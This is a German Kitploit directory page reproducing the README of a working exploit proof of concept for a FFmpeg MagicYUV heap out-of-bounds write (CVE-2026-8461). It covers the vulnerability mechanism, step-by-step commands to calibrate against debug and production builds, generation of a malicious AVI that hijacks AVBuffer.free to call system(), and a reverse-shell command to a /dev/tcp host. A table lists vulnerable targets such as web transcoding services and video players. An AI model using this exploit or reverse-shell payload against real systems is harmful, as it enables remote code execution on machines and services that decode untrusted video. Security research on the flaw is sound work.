Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-8461-EXP — Funktionierender Exploit-PoC für FFmpeg MagicYUV Heap-OOB-Write (CVE-2026-8461) mit Autokalibrierungsskripten für Debug- und Produktionsbuilds, die Befehlsinjektion durch AVBuffer.free-Hijacking ermöglichen. | Kitploit
Tools/GitHubGitHub/y5neko/cve-2026-8461-exp
SchwachstellenanalyseExploitationCTFLernen & BildungPayload-EntwicklungBinary-Exploitation
GitHuby5neko/cve-2026-8461-exp

CVE-2026-8461-EXP

Funktionierender Exploit-PoC für FFmpeg MagicYUV Heap-OOB-Write (CVE-2026-8461) mit Autokalibrierungsskripten für Debug- und Produktionsbuilds, die Befehlsinjektion durch AVBuffer.free-Hijacking ermöglichen.

Repository anzeigen
142vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-8461 "PixelSmash" — FFmpeg MagicYUV Heap OOB Write PoC

[!WARNING] Dieses Repository enthält einen funktionierenden Exploit-PoC für eine Heap-Korruptions-Schwachstelle. Es ist ausschließlich für autorisierte Sicherheitsforschung, CTF-Kontexte und defensive Analysen bestimmt. Verwenden Sie es nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben.

Betroffen: FFmpeg 8.0.1 MagicYUV-Decoder (libavcodec/magicyuv.c)
Primitiv: Heap-OOB-Schreiben → Hijack von AVBuffer.free → system()-Aufruf


Schwachstelle

magy_decode_slice() verwendet sheight (ungeklemmte Slice-Höhe) als Schleifengrenze für das Schreiben in die Cb/Cr-Ausgabeebene, allokiert den Puffer jedoch mit der geklemmten height. In der letzten Slice eines speziell präparierten Frames schreibt die Schleife über das Ende des allokierten Bereichs hinaus.

root@kitploit:~
// magicyuv.c:291 — dst-Zeiger befindet sich bereits bei sheight×stride nach Pufferstart
for (i = 0; i < avctx->width >> s->hshift[plane]; i++)
    dst[i] = get_vlc2(...);   // OOB-Schreiben, wenn sheight > height

Der Out-of-Bounds-Schreibzugriff landet in einer anschließend allokierten AVBuffer-Struktur. Durch Kontrolle der geschriebenen Bytes wird AVBuffer.free mit der Adresse von system() überschrieben und AVBuffer.opaque mit der Adresse des Befehlsstrings auf dem Heap. Wenn der Frame freigegeben wird, ruft av_buffer_unref() system(cmd) auf.

Vollständige technische Analyse: Englisch · Chinesisch


Dateien


Voraussetzungen

root@kitploit:~
Python >= 3.8
GDB >= 9.0
kernel.randomize_va_space = 0   (ASLR deaktiviert — für Kalibrierung erforderlich)

Python-Abhängigkeiten: keine (nur Standardbibliothek).


Schnellstart

Schritt 0 — ASLR deaktivieren

root@kitploit:~
sudo sysctl -w kernel.randomize_va_space=0

Schritt 1 — Kalibrierung generieren

Debug-Build (mit -g kompiliert, z. B. aus Quelle mit --enable-debug):

root@kitploit:~
python3 auto_calibrate.py \
    --ffmpeg /path/to/ffmpeg-debug \
    --avi    /tmp/exploit.avi \
    -o       calibration.json

Produktions-Build (gestrippt, Shared-Library, z. B. apt install ffmpeg oder benutzerdefiniert --enable-shared):

root@kitploit:~
python3 auto_calibrate_nosym.py \
    --ffmpeg  /path/to/ffmpeg \
    --libpath /path/to/ffmpeg/lib \
    --avi     /tmp/exploit.avi \
    -o        calibration.json

Der --avi-Pfad muss zwischen Kalibrierung und Exploit-Auslieferung identisch sein. Eine Änderung der Pfadzeichenfolgenlänge verschiebt das Heap-Layout und macht die Kalibrierung ungültig.

Schritt 2 — Exploit-AVI generieren

root@kitploit:~
python3 exploit_cve_2026_8461.py \
    --calibration calibration.json \
    --cmd "id > /tmp/pwned" \
    -o /tmp/exploit.avi

Schritt 3 — Auslösen

root@kitploit:~
# Debug-Build (statisch gelinkt)
/path/to/ffmpeg-debug -i /tmp/exploit.avi -f null -

# Produktions-Build (Shared-Library)
LD_LIBRARY_PATH=/path/to/lib /path/to/ffmpeg -i /tmp/exploit.avi -f null -

# Systeminstalliertes FFmpeg (apt/yum)
ffmpeg -i /tmp/exploit.avi -f null -

Erwartete Ausgabe: Befehl wird ausgeführt, dann stürzt der Prozess mit corrupted size vs. prev_size ab.

root@kitploit:~
cat /tmp/pwned
# uid=1000(user) gid=1000(user) groups=...

image-20260624151409029

Beispiel einer Reverse Shell

root@kitploit:~
python3 exploit_cve_2026_8461.py \
    --calibration calibration.json \
    --cmd "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
    -o /tmp/exploit.avi

Entscheidungsablauf des Kalibrierungsskripts

root@kitploit:~
Target FFmpeg binary
    │
    ├─ Has debug symbols?  (file ffmpeg | grep debug_info)
    │       └─ YES → auto_calibrate.py
    │
    └─ Stripped / production
            │
            ├─ Dynamically linked?  (ldd ffmpeg | grep libavutil)
            │       └─ YES → auto_calibrate_nosym.py
            │
            └─ Statically linked + fully stripped
                    └─ Neither script applies
                       (requires LD_PRELOAD malloc hook approach)

auto_calibrate_nosym.py funktioniert wie folgt:

  1. Es bricht bei av_buffer_create (immer in libavutil.so .dynsym vorhanden) ein, um die Cb- und Cr-Datenzeiger zu erfassen, ohne Quelltextsymbole zu benötigen.
  2. Es setzt einen GDB-Hardware-Schreib-Watchpoint auf die OOB-Startadresse.
  3. Es durchläuft den resultierenden Heap-Dump, um die AVBuffer-Struktur zu lokalisieren und die system()-Adresse zu extrahieren.

Auslösebedingungen

Der Exploit feuert, wenn das Ziel den Videoframe dekodiert (nicht nur prüft):


Basis-PoC (nur OOB-Schreiben, kein Payload)

Um die Schwachstelle ohne Befehlsausführung zu demonstrieren:

root@kitploit:~
python3 exploit_cve_2026_8461.py --baseline -o baseline.avi
ffmpeg -i baseline.avi -f null -
# stürzt ab mit: free(): invalid pointer  oder  corrupted size vs. prev_size

Umfang und Einschränkungen

  • Architektur: Entwickelt und getestet auf x86_64 nur. Der Exploit hängt von einem spezifischen Heap-Layout ab, bei dem die AVBuffer-Struktur innerhalb von 640 Bytes der Cb-Ebenen-OOB-Startadresse landet. Auf aarch64 platziert die glibc-Allokationsreihenfolge AVBuffer außerhalb dieses Bereichs (der benachbarte Chunk ist der ~10 KB große Cr-Puffer), sodass der OOB-Schreibzugriff ihn mit der aktuellen Frame-Geometrie nicht erreichen kann. Eine Portierung auf aarch64 erfordert ein Profiling des aarch64-Heap-Layouts und eine entsprechende Anpassung der Frame-Geometrie.
  • ASLR: Muss deaktiviert sein (kernel.randomize_va_space=0). Bei aktiviertem ASLR werden Heap-Adressen pro Lauf randomisiert, und die Kalibrierung ist nicht anwendbar. Ein Informationsleck-Primitiv wäre erforderlich, um dies auf ASLR-aktivierte Ziele auszuweiten.
  • Kalibrierungsumfang: Gültig für ein spezifisches Binary auf einer spezifischen Maschine. Ein anderer Build, eine andere libc-Version oder eine andere AVI-Pfadlänge erfordert eine Neukalibrierung.
  • AVI-Pfad: Der Exploit-AVI muss über denselben absoluten Pfad ausgeliefert werden, der während der Kalibrierung verwendet wurde.
  • auto_calibrate_nosym.py: Erfordert ein dynamisch gelinktes FFmpeg mit zugänglicher libavutil.so (entweder in Systempfaden oder über --libpath).
Tool herunterladen
DateiBeschreibung
exploit_cve_2026_8461.pyExploit-AVI-Generator — erstellt den bösartigen MagicYUV-Bitstream
auto_calibrate.pyAutomatische Kalibrierung für Debug-Builds (benötigt -g-Debugsymbole)
auto_calibrate_nosym.pyAutomatische Kalibrierung für Produktions-Builds (gestrippt, Shared-Library)
CVE-2026-8461_Analysis_EN.mdVollständige Schwachstellenanalyse (Englisch)
CVE-2026-8461_Analysis.mdVollständige Schwachstellenanalyse (Chinesisch)
ffmpeg_prodGestripptes Produktions-FFmpeg 8.0.1-Binary für lokale Tests
AufrufLöst RCE aus
ffmpeg -i evil.avi -f null -Ja
ffmpeg -i evil.avi -o out.mp4Ja
Web-Transcodierungsdienst (libavcodec-Decodierungsschleife)Ja
Videoplayer, der libavcodec verwendetJa
ffmpeg -i evil.avi (keine Ausgabe angegeben)Nein — Prozess bricht ab, bevor av_buffer_unref feuert
ffprobe evil.aviNein — Nur-Prüfpfad, keine vollständige Dekodierung